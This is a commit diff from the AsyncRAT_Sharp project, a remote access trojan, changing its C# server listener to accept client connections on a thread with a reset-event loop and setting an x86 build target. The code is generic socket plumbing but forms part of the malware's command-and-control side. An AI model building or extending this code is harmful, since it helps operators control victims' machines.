Update
This commit is contained in:
parent
a7d19ce7ea
commit
4921083766
@ -5,6 +5,7 @@ using AsyncRAT_Sharp.Sockets;
|
|||||||
using System.Threading.Tasks;
|
using System.Threading.Tasks;
|
||||||
using Microsoft.VisualBasic;
|
using Microsoft.VisualBasic;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
// │ Author : NYAN CAT
|
// │ Author : NYAN CAT
|
||||||
// │ Name : AsyncRAT // Simple Socket
|
// │ Name : AsyncRAT // Simple Socket
|
||||||
@ -25,7 +26,8 @@ namespace AsyncRAT_Sharp
|
|||||||
async private void Form1_Load(object sender, EventArgs e)
|
async private void Form1_Load(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
Listener listener = new Listener();
|
Listener listener = new Listener();
|
||||||
listener.Connect(Settings.Port);
|
Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
|
||||||
|
thread.Start(Settings.Port);
|
||||||
|
|
||||||
while (true)
|
while (true)
|
||||||
{
|
{
|
||||||
|
@ -10,24 +10,26 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
class Listener
|
class Listener
|
||||||
{
|
{
|
||||||
public Socket listener { get; set; }
|
public Socket listener { get; set; }
|
||||||
|
public static ManualResetEvent allDone = new ManualResetEvent(false);
|
||||||
|
|
||||||
public async void Connect(int port)
|
public void Connect(object port)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||||
IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, port);
|
IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port));
|
||||||
listener.SendBufferSize = 50 * 1024;
|
listener.SendBufferSize = 50 * 1024;
|
||||||
listener.ReceiveBufferSize = 50 * 1024;
|
listener.ReceiveBufferSize = 50 * 1024;
|
||||||
listener.ReceiveTimeout = -1;
|
listener.ReceiveTimeout = -1;
|
||||||
listener.SendTimeout = -1;
|
listener.SendTimeout = -1;
|
||||||
listener.Bind(IpEndPoint);
|
listener.Bind(IpEndPoint);
|
||||||
listener.Listen(50);
|
listener.Listen(20);
|
||||||
|
|
||||||
while (true)
|
while (true)
|
||||||
{
|
{
|
||||||
await Task.Delay(1);
|
allDone.Reset();
|
||||||
listener.BeginAccept(EndAccept, null);
|
listener.BeginAccept(EndAccept, null);
|
||||||
|
allDone.WaitOne();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
@ -44,8 +46,9 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
Clients CL = new Clients();
|
Clients CL = new Clients();
|
||||||
CL.InitializeClient(listener.EndAccept(ar));
|
CL.InitializeClient(listener.EndAccept(ar));
|
||||||
}
|
}
|
||||||
catch
|
catch { }
|
||||||
{ }
|
|
||||||
|
finally { allDone.Set(); }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -13,7 +13,7 @@
|
|||||||
<Deterministic>true</Deterministic>
|
<Deterministic>true</Deterministic>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
<PlatformTarget>x86</PlatformTarget>
|
||||||
<DebugSymbols>true</DebugSymbols>
|
<DebugSymbols>true</DebugSymbols>
|
||||||
<DebugType>full</DebugType>
|
<DebugType>full</DebugType>
|
||||||
<Optimize>false</Optimize>
|
<Optimize>false</Optimize>
|
||||||
|
Loading…
x
Reference in New Issue
Block a user